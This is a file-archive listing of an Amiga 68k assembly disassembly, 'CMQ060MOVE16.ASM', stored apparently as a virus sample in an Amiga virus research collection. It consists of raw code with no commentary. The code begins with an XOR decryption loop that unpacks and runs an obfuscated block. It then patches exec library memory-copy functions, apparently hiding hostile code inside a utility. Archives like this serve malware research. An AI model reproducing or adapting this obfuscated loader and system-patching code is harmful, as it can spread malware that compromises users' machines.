home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
amiga_virus_collection_research.7z
/
VIRUSRESEARCH
/
ZAKAPIOR
/
CMQ060MOVE16.ASM
< prev
next >
Wrap
Assembly Source File
|
1999-07-13
|
12KB
|
495 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $39290000
EXT_0002 EQU $FFFFFD8A
EXT_0003 EQU $FFFFFD90
SECTION S_0,CODE
SECSTRT_0:
MOVEM.L D0-D7/A0-A6,-(A7) ;000: 48E7FFFE
MOVEA.L (ABSEXECBASE).W,A6 ;004: 2C780004
LEA LAB_0001(PC),A0 ;008: 41FA0014
LEA LAB_0002(PC),A1 ;00C: 43FA0208
MOVE #$D00D,D0 ;010: 303CD00D
LAB_0000:
EOR D0,(A0)+ ;014: B158
CMPA.L A0,A1 ;016: B3C8
BNE.S LAB_0000 ;018: 66FA
JSR -636(A6) ;01A: 4EAEFD84
LAB_0001:
EOR.B D0,D1 ;01E: B101
CMP -(A2),D2 ;020: B462
DC.W $A323 ;022
CMP -(A4),D6 ;024: BC64
DC.W $B27F ;026
DC.W $B17F ;028
DC.W $A90D ;02A
DC.W $F252 ;02C
DC.W $A028 ;02E
SUB.L -(A3),D7 ;030: 9EA3
DC.W $2DD5 ;032
DC.W $FC0D ;034
CMPM (A1)+,(A3)+ ;036: B749
DC.W $91F7 ;038
ADDA.L (A1),A0 ;03A: D1D1
DC.W $F08B ;03C
DC.W $F831 ;03E
DC.W $D00D ;040
ADD.L D0,(A3)+ ;042: D19B
DC.W $A20D ;044
DC.W $F009 ;046
SUB.L -(A3),D7 ;048: 9EA3
DC.W $2D59 ;04A
DC.W $FA0D ;04C
EOR.B D3,-3507(A3) ;04E: B72BF24D
DC.W $91F7 ;052
DC.W $D03D ;054
DC.W $F009 ;056
SUB.L -(A3),D7 ;058: 9EA3
DC.W $2D9D ;05A
DC.W $1D83 ;05C
DC.W $91F7 ;05E
ADD.L D0,-(A1) ;060: D1A1
DC.W $93F7 ;062
ADD.L D0,(A1)+ ;064: D199
DC.W $F345 ;066
ADD.B D1,D0 ;068: D001
DC.W $F204 ;06A
DC.W $F348 ;06C
DC.W $D009 ;06E
SUB.L -(A3),D7 ;070: 9EA3
MOVE.L D3,D7 ;072: 2E03
DC.W $1D83 ;074
DC.W $F24B ;076
SUB.L -(A3),D7 ;078: 9EA3
MOVEA.L -25390(A7),A7 ;07A: 2E6F9CD2
DC.W $AFF2 ;07E
DC.W $B00D ;080
ADD.L D0,(A5) ;082: D195
DC.W $FC75 ;084
DC.W $D009 ;086
DC.W $A009 ;088
DC.W $93F7 ;08A
ADD.L (A7)+,D0 ;08C: D09F
SUB.L -(A3),D7 ;08E: 9EA3
DC.W $2DD5 ;090
SUB.L A5,D5 ;092: 9A8D
DC.W $B779 ;094
DC.W $A8F2 ;096
DC.W $FA4D ;098
DC.W $A00F ;09A
DC.W $A20C ;09C
DC.W $A40D ;09E
MOVE.B D3,-24925(A5) ;0A0: 1B439EA3
DC.W $2FEF ;0A4
DC.W $6089 ;0A6
EOR D3,(A5) ;0A8: B755
DC.W $FC0D ;0AA
DC.W $F231 ;0AC
DC.W $D00D ;0AE
DC.W $2FF2 ;0B0
DC.W $F431 ;0B2
DC.W $D00D ;0B4
ADD.L A5,D0 ;0B6: D08D
DC.W $91F7 ;0B8
ADD.L A7,D0 ;0BA: D08F
DC.W $A605 ;0BC
SUB.L -(A3),D7 ;0BE: 9EA3
DC.W $2FAB ;0C0
DC.W $91F7 ;0C2
ADD -(A1),D0 ;0C4: D061
DC.W $F00B ;0C6
DC.W $A21D ;0C8
SUB.L -(A3),D7 ;0CA: 9EA3
DC.W $2FC7 ;0CC
DC.W $6089 ;0CE
EOR.B D3,-(A7) ;0D0: B727
DC.W $97F7 ;0D2
DC.W $D07D ;0D4
DC.W $F006 ;0D6
SUB.B (A6),D5 ;0D8: 9A16
DC.W $B6F1 ;0DA
DC.W $F606 ;0DC
DC.W $468D ;0DE
DC.W $838E ;0E0
EOR.B D3,(A5)+ ;0E2: B71D
DC.W $F04D ;0E4
DC.W $A40D ;0E6
DC.W $F00B ;0E8
DC.W $F20E ;0EA
SUB.L -(A3),D7 ;0EC: 9EA3
DC.W $2FB3 ;0EE
DC.W $668D ;0F0
DC.W $B7EF ;0F2
DC.W $F00B ;0F4
DC.W $A20F ;0F6
SUB.L -(A3),D7 ;0F8: 9EA3
DC.W $2FA1 ;0FA
DC.W $F00B ;0FC
SUB.L -(A3),D7 ;0FE: 9EA3
DC.W $2F85 ;100
MOVE.B D3,-3520(A5) ;102: 1B43F240
SUB.L -(A3),D7 ;106: 9EA3
DC.W $2E6F ;108
DC.W $91F7 ;10A
ADDX.B D7,D0 ;10C: D107
DC.W $FC5D ;10E
DC.W $F231 ;110
DC.W $D00D ;112
DC.W $DBB5 ;114
SUB.L -(A3),D7 ;116: 9EA3
DC.W $2F37 ;118
DC.W $B00D ;11A
MOVE.L -(A5),-19842(A7) ;11C: 2F65B27E
DC.W $B47E ;120
EOR D7,-17560(A6) ;122: BF6EBB68
DC.W $A423 ;126
CMP -(A4),D6 ;128: BC64
DC.W $B27F ;12A
DC.W $B17F ;12C
DC.W $A90D ;12E
DC.W $C00F ;130
ADD.B (A4),D0 ;132: D014
MOVE.B D2,75(A1,A6.L) ;134: 1382E84B
DC.W $D00D ;138
DC.W $D00D ;13A
DC.W $D00D ;13C
DC.W $D00C ;13E
DC.W $D00D ;140
ADD.B (A3),D0 ;142: D013
SUB A0,D4 ;144: 9848
SUB D2,D6 ;146: 9C42
DC.W $DA0D ;148
SUBX -(A4),-(A6) ;14A: 9D4C
SUBX D1,D4 ;14C: 9941
DC.W $F04B ;14E
OR D2,D1 ;150: 8242
SUB.B D6,49(A7,A7.W) ;152: 9D37F031
DC.W $8833 ;156
DC.W $DA0D ;158
DC.W $824E ;15A
OR (A1)+,D0 ;15C: 8059
DC.W $F059 ;15E
SUB.B D7,49(A7,A7.W) ;160: 9F37F031
DC.W $A07F ;164
DC.W $B57E ;166
DC.W $B969 ;168
EOR D2,-(A3) ;16A: B563
DC.W $A44D ;16C
EOR D0,-(A0) ;16E: B160
DC.W $B96A ;170
EOR.B D0,-(A3) ;172: B123
EOR D1,-(A2) ;174: B362
DC.W $BD33 ;176
DC.W $DA0D ;178
SUB A4,D2 ;17A: 944C
DC.W $844C ;17C
DC.W $DA0D ;17E
DC.W $967F ;180
EOR D7,-(A0) ;182: BF60
LSR.B D5,D5 ;184: EA2D
SUB D0,-(A0) ;186: 9160
DC.W $B96A ;188
EOR.B D0,-25502(A5) ;18A: B12D9C62
DC.W $A668 ;18E
DC.W $A22D ;190
ROXR.B D6,D3 ;192: EC33
DC.W $DA0D ;194
DC.W $8378 ;196
CMP -(A7),D1 ;198: B267
DC.W $B56E ;19A
DC.W $A437 ;19C
DC.W $F04B ;19E
SUBX D1,D4 ;1A0: 9941
OR D5,D2 ;1A2: 8445
OR.B D4,-27816(A5) ;1A4: 892D9358
SUB (A1)+,D7 ;1A8: 9E59
DC.W $F107 ;1AA
DC.W $DA0D ;1AC
SUB (A0)+,D3 ;1AE: 9658
SUBX D6,D1 ;1B0: 9346
DC.W $F058 ;1B2
DC.W $F043 ;1B4
SUB D0,(A7) ;1B6: 9157
SUB.B D4,-27816(A5) ;1B8: 992D9358
SUB (A1)+,D7 ;1BC: 9E59
DC.W $F020 ;1BE
DC.W $F049 ;1C0
SUBX -(A0),-(A4) ;1C2: 9948
DC.W $F04C ;1C4
SUB A1,D7 ;1C6: 9E49
DC.W $F04F ;1C8
OR D2,(A7)+ ;1CA: 855F
SUB.B -26301(A5),D7 ;1CC: 9E2D9943
DC.W $F045 ;1D0
SUBX D1,D2 ;1D2: 9541
SUB.B -28352(A5),D6 ;1D4: 9C2D9140
SUBX -(A2),-(A4) ;1D8: 994A
SUB.B D0,-25788(A5) ;1DA: 912D9B44
SUB D1,D6 ;1DE: 9C41
SUBX D3,D4 ;1E0: 9943
SUB.B D3,-30907(A5) ;1E2: 972D8745
SUB D7,(A7)+ ;1E6: 9F5F
SUB.B D2,-9715(A4) ;1E8: 952CDA0D
ADD.B D7,D5 ;1EC: DA07
DC.W $FE07 ;1EE
ADD (A4)+,D0 ;1F0: D05C
DC.W $8544 ;1F2
OR.B D7,D2 ;1F4: 8407
DC.W $D00D ;1F6
DC.W $500D ;1F8
ADDA.L -(A6),A1 ;1FA: D3E6
DC.W $D00D ;1FC
DC.W $D00D ;1FE
DC.W $500D ;200
DC.W $D3F9 ;202
DC.W $D00D ;204
DC.W $D00D ;206
DC.W $D00D ;208
DC.W $D00D ;20A
DC.W $AA6C ;20C
EOR D5,-24476(A4) ;20E: BB6CA064
DC.W $BF7F ;212
DC.W $D00D ;214
LAB_0002:
ORI.B #$00,D0 ;216: 00000000
MOVEA.L (ABSEXECBASE).W,A6 ;21A: 2C780004
BTST #3,297(A6) ;21E: 082E00030129
BNE.S LAB_0004 ;224: 6604
LAB_0003:
MOVEQ #20,D0 ;226: 7014
RTS ;228: 4E75
LAB_0004:
MOVE.L #$00000183,D0 ;22A: 203C00000183
MOVEQ #1,D1 ;230: 7201
JSR -198(A6) ;232: 4EAEFF3A
MOVE.L D0,D6 ;236: 2C00
BEQ.S LAB_0003 ;238: 67EC
ADDI #$000F,D6 ;23A: 0646000F
ANDI.B #$F0,D6 ;23E: 020600F0
LEA LAB_0005(PC),A0 ;242: 41FA0054
MOVEA.L D6,A1 ;246: 2246
MOVE.L #$00000174,D0 ;248: 203C00000174
BSR LAB_0014 ;24E: 61000120
MOVEA.L A6,A1 ;252: 224E
LEA (EXT_0003).W,A0 ;254: 41F8FD90
MOVE.L D6,D0 ;258: 2006
JSR -420(A6) ;25A: 4EAEFE5C
MOVEA.L A6,A1 ;25E: 224E
LEA (EXT_0002).W,A0 ;260: 41F8FD8A
MOVE.L D6,D0 ;264: 2006
ADDI.L #$000000D8,D0 ;266: 0680000000D8
JSR -420(A6) ;26C: 4EAEFE5C
MOVEQ #0,D0 ;270: 7000
RTS ;272: 4E75
MOVEA.L (A6),A2 ;274: 2456
DC.W $4552 ;276
MOVE -(A0),D5 ;278: 3A20
DC.W $434D ;27A
DC.W $5130 ;27C
DC.W $3630 ;27E
DC.W $4D6F ;280
MOVEQ #101,D3 ;282: 7665
DC.W $3136 ;284
DC.W $2031 ;286
MOVE.L 40(A5,D2.W),D7 ;288: 2E352028
DC.W $3131 ;28C
DC.W $2E37 ;28E
MOVE.L EXT_0001,D7 ;290: 2E3939290000
DC.W $0000 ;296
LAB_0005:
TST.L D0 ;298: 4A80
BEQ.S LAB_000D ;29A: 674C
MOVE A1,D1 ;29C: 3209
BTST #0,D1 ;29E: 08010000
BEQ.S LAB_0006 ;2A2: 6708
MOVE.B (A0)+,(A1)+ ;2A4: 12D8
SUBQ.L #1,D0 ;2A6: 5380
BEQ.S LAB_000D ;2A8: 673E
MOVE A1,D1 ;2AA: 3209
LAB_0006:
BTST #1,D1 ;2AC: 08010001
BEQ.S LAB_0008 ;2B0: 6712
CMPI.L #$00000001,D0 ;2B2: 0C8000000001
BNE.S LAB_0007 ;2B8: 6604
MOVE.B (A0)+,(A1)+ ;2BA: 12D8
RTS ;2BC: 4E75
LAB_0007:
MOVE (A0)+,(A1)+ ;2BE: 32D8
SUBQ.L #2,D0 ;2C0: 5580
BEQ.S LAB_000D ;2C2: 6724
LAB_0008:
CMPI.L #$00000810,D0 ;2C4: 0C8000000810
BCC.S LAB_000E ;2CA: 641E
LAB_0009:
MOVE.L D0,D1 ;2CC: 2200
LSR #2,D1 ;2CE: E449
BEQ.S LAB_000B ;2D0: 6706
LAB_000A:
MOVE.L (A0)+,(A1)+ ;2D2: 22D8
SUBQ #1,D1 ;2D4: 5341
BNE.S LAB_000A ;2D6: 66FA
LAB_000B:
BTST #1,D0 ;2D8: 08000001
BEQ.S LAB_000C ;2DC: 6702
MOVE (A0)+,(A1)+ ;2DE: 32D8
LAB_000C:
BTST #0,D0 ;2E0: 08000000
BEQ.S LAB_000D ;2E4: 6702
MOVE.B (A0)+,(A1)+ ;2E6: 12D8
LAB_000D:
RTS ;2E8: 4E75
LAB_000E:
MOVE A1,D1 ;2EA: 3209
BTST #2,D1 ;2EC: 08010002
BEQ.S LAB_000F ;2F0: 6706
SUBQ.L #4,D0 ;2F2: 5980
MOVE.L (A0)+,(A1)+ ;2F4: 22D8
MOVE A1,D1 ;2F6: 3209
LAB_000F:
BTST #3,D1 ;2F8: 08010003
BEQ.S LAB_0010 ;2FC: 6706
SUBQ.L #8,D0 ;2FE: 5180
MOVE.L (A0)+,(A1)+ ;300: 22D8
MOVE.L (A0)+,(A1)+ ;302: 22D8
LAB_0010:
MOVE A0,D1 ;304: 3208
ANDI.B #$0F,D1 ;306: 0201000F
BNE.S LAB_0012 ;30A: 6630
MOVE.L D0,D1 ;30C: 2200
LSR.L #7,D1 ;30E: EE89
LAB_0011:
DC.W $F620 ;310
SUB.B D0,D0 ;312: 9000
DC.W $F620 ;314
SUB.B D0,D0 ;316: 9000
DC.W $F620 ;318
SUB.B D0,D0 ;31A: 9000
DC.W $F620 ;31C
SUB.B D0,D0 ;31E: 9000
DC.W $F620 ;320
SUB.B D0,D0 ;322: 9000
DC.W $F620 ;324
SUB.B D0,D0 ;326: 9000
DC.W $F620 ;328
SUB.B D0,D0 ;32A: 9000
DC.W $F620 ;32C
SUB.B D0,D0 ;32E: 9000
SUBQ.L #1,D1 ;330: 5381
BNE.S LAB_0011 ;332: 66DC
AND #$007F,D0 ;334: C07C007F
BNE.S LAB_0009 ;338: 6692
RTS ;33A: 4E75
LAB_0012:
MOVE.L D0,D1 ;33C: 2200
LSR.L #6,D1 ;33E: EC89
LAB_0013:
MOVE.L (A0)+,(A1)+ ;340: 22D8
MOVE.L (A0)+,(A1)+ ;342: 22D8
MOVE.L (A0)+,(A1)+ ;344: 22D8
MOVE.L (A0)+,(A1)+ ;346: 22D8
MOVE.L (A0)+,(A1)+ ;348: 22D8
MOVE.L (A0)+,(A1)+ ;34A: 22D8
MOVE.L (A0)+,(A1)+ ;34C: 22D8
MOVE.L (A0)+,(A1)+ ;34E: 22D8
MOVE.L (A0)+,(A1)+ ;350: 22D8
MOVE.L (A0)+,(A1)+ ;352: 22D8
MOVE.L (A0)+,(A1)+ ;354: 22D8
MOVE.L (A0)+,(A1)+ ;356: 22D8
MOVE.L (A0)+,(A1)+ ;358: 22D8
MOVE.L (A0)+,(A1)+ ;35A: 22D8
MOVE.L (A0)+,(A1)+ ;35C: 22D8
MOVE.L (A0)+,(A1)+ ;35E: 22D8
SUBQ.L #1,D1 ;360: 5381
BNE.S LAB_0013 ;362: 66DC
AND #$003F,D0 ;364: C07C003F
BNE LAB_0009 ;368: 6600FF62
RTS ;36C: 4E75
NOP ;36E: 4E71
LAB_0014:
LSR.L #2,D0 ;370: E488
CMPI.L #$00000204,D0 ;372: 0C8000000204
BCC.S LAB_0017 ;378: 640C
TST D0 ;37A: 4A40
BEQ.S LAB_0016 ;37C: 6706
LAB_0015:
MOVE.L (A0)+,(A1)+ ;37E: 22D8
SUBQ #1,D0 ;380: 5340
BNE.S LAB_0015 ;382: 66FA
LAB_0016:
RTS ;384: 4E75
LAB_0017:
MOVE A1,D1 ;386: 3209
BTST #2,D1 ;388: 08010002
BEQ.S LAB_0018 ;38C: 6706
SUBQ.L #1,D0 ;38E: 5380
MOVE.L (A0)+,(A1)+ ;390: 22D8
MOVE A1,D1 ;392: 3209
LAB_0018:
BTST #3,D1 ;394: 08010003
BEQ.S LAB_0019 ;398: 6706
SUBQ.L #2,D0 ;39A: 5580
MOVE.L (A0)+,(A1)+ ;39C: 22D8
MOVE.L (A0)+,(A1)+ ;39E: 22D8
LAB_0019:
MOVE A0,D1 ;3A0: 3208
ANDI.B #$0F,D1 ;3A2: 0201000F
BNE.S LAB_001B ;3A6: 6630
MOVE.L D0,D1 ;3A8: 2200
LSR.L #5,D1 ;3AA: EA89
LAB_001A:
DC.W $F620 ;3AC
SUB.B D0,D0 ;3AE: 9000
DC.W $F620 ;3B0
SUB.B D0,D0 ;3B2: 9000
DC.W $F620 ;3B4
SUB.B D0,D0 ;3B6: 9000
DC.W $F620 ;3B8
SUB.B D0,D0 ;3BA: 9000
DC.W $F620 ;3BC
SUB.B D0,D0 ;3BE: 9000
DC.W $F620 ;3C0
SUB.B D0,D0 ;3C2: 9000
DC.W $F620 ;3C4
SUB.B D0,D0 ;3C6: 9000
DC.W $F620 ;3C8
SUB.B D0,D0 ;3CA: 9000
SUBQ.L #1,D1 ;3CC: 5381
BNE.S LAB_001A ;3CE: 66DC
AND #$001F,D0 ;3D0: C07C001F
BNE.S LAB_0015 ;3D4: 66A8
RTS ;3D6: 4E75
LAB_001B:
MOVE.L D0,D1 ;3D8: 2200
LSR.L #4,D1 ;3DA: E889
LAB_001C:
MOVE.L (A0)+,(A1)+ ;3DC: 22D8
MOVE.L (A0)+,(A1)+ ;3DE: 22D8
MOVE.L (A0)+,(A1)+ ;3E0: 22D8
MOVE.L (A0)+,(A1)+ ;3E2: 22D8
MOVE.L (A0)+,(A1)+ ;3E4: 22D8
MOVE.L (A0)+,(A1)+ ;3E6: 22D8
MOVE.L (A0)+,(A1)+ ;3E8: 22D8
MOVE.L (A0)+,(A1)+ ;3EA: 22D8
MOVE.L (A0)+,(A1)+ ;3EC: 22D8
MOVE.L (A0)+,(A1)+ ;3EE: 22D8
MOVE.L (A0)+,(A1)+ ;3F0: 22D8
MOVE.L (A0)+,(A1)+ ;3F2: 22D8
MOVE.L (A0)+,(A1)+ ;3F4: 22D8
MOVE.L (A0)+,(A1)+ ;3F6: 22D8
MOVE.L (A0)+,(A1)+ ;3F8: 22D8
MOVE.L (A0)+,(A1)+ ;3FA: 22D8
SUBQ.L #1,D1 ;3FC: 5381
BNE.S LAB_001C ;3FE: 66DC
AND #$000F,D0 ;400: C07C000F
BNE LAB_0015 ;404: 6600FF78
RTS ;408: 4E75
NOP ;40A: 4E71
END